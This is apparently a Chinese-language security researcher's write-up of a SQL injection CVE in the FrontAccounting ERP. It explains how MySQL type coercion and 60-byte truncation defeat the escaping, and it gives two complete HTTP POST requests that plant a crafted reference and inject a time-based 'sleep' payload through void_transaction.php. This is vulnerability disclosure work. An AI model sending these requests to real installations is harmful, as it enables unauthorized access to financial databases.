最近审计了一个开源会计系统Frontaccounting erp,水了一个CVE。绕过的过程还是比较有趣的。
environment : docker mattrayner/lamp:latest-1604
Frontaccounting 使用 db_escape() 过滤参数. 但是一些参数没有使用 db_escape().
先介绍下过滤函数:
includes/session.inc:484
此处ENT_QUOTES - 编码双引号和单引号。因此,在输入时单双引号全部会被实体编码。
includes/db/class.reflines_db.inc:156
若设置变量 $reference 如 ‘XXXXXX\’. 单引号可逃逸,此处我们可以在 $type 变量中实现注入。
includes/references.inc:365
admin/db/voiding_db.inc:127
admin/void_transaction.php:316
admin/void_transaction.php:352
这路 $type 变量可控
跟进 $reference 变量
get_systype_db_info()
之后我发现一处给表 grn_batch 插入的地方.
purchasing/includes/db/grn_db.inc:170
purchasing/includes/db/grn_db.inc:99
purchasing/po_receive_items.php:254
所以变量 $reference 可控。
PHP
switch ($type)
变量 $type 如 '25' 和 '+25dasdsadasda' 是相同的。
Mysql
如P师傅博客,Mysql在string和整形转换时候有以下的问题。
这里补充一点,'25' 和'25dasdasdasd'= '+25dasdasdasd'
因此整形和字符串可以相加
Mysql截断可导致转意符被吃掉。
在insert时存在使用$reference查询的情况,设置 ‘001/2018\’ 注入是会报错。 但是 ‘001/2018\’ 不会 . 在数据库中$reference变量存储为60字节, 设置$reference变量为61字节如 001100422222222222222222222201700422222222222222212222/2018\\。在数据库里面就会是 001100422222222222222222222201700422222222222222212222/2018\。这样完成了$reference变量的注入。
此处注入复线使用的是 po_entry_items.php 中的insert方法, 不是上文中提到的 po_receive_items.php 中的方法
POST /FA1/purchasing/po_entry_items.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/FA1/purchasing/po_entry_items.php?NewGRN=Yes
Content-Type: application/octet-stream
Content-Length: 343
Connection: close
Cookie: FA83118f2a9a8a1d154096028879fc64db=6qb35uj2b4sv26em7d6f5i7qv3; FA40bcd2a463d0cb4ad9c1f4e4e156e4ab=i96j3h5r6hl16smme7tl0t3ie3
supplier_id=1&OrderDate=12/31/2018&ref=001100422222222222222222222201700422222222222222212222/2018\\&supp_ref=&dimension=0&StkLocation=DEF&delivery_address=N/A&_stock_id_edit=102&stock_id=101&qty=1&price=200.00&Comments=&Commit=Process%20GRN&_focus=supplier_id&_modified=0&_confirmed=&_token=YNHuXfwn6xEZH7dUBa196wxx&_random=1078360.0430200463
database:
POST /FA1//admin/void_transaction.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/FA1//admin/void_transaction.php
Content-Type: application/octet-stream
Content-Length: 261
Connection: close
Cookie: FA83118f2a9a8a1d154096028879fc64db=3h40pcjb2t5apf0rlcblj1ahv6; FA40bcd2a463d0cb4ad9c1f4e4e156e4ab=1e2v29h21gv4efc5g2fr0fs0q0
filterType=%2b25%2c25)%20or%20sleep(1)%23&FromTransNo=1&ToTransNo=999999&date_=12/31/2018&memo_=&trans_no=3&selected_id=3&ConfirmVoiding=%u7EE7%u7EED%u8FDB%u884C&_focus=filterType&_modified=0&_confirmed=&_token=p6ySb5gc0z5JLK4DvaC9owxx&_random=578301.3136013072
最终执行的sql语句为:
SELECT * FROM 0_reflines WHERE trans_type='+25,25) or sleep(1)#' AND CHAR_LENGTH(`prefix`) AND LEFT('20170042222222222222222222220170042222222222222221222222221\', CHAR_LENGTH(`prefix`)) = `prefix` UNION SELECT * FROM 0_reflines WHERE trans_type='+25,25) and sleep(1)#' AND `prefix`=''
'+' 真有趣!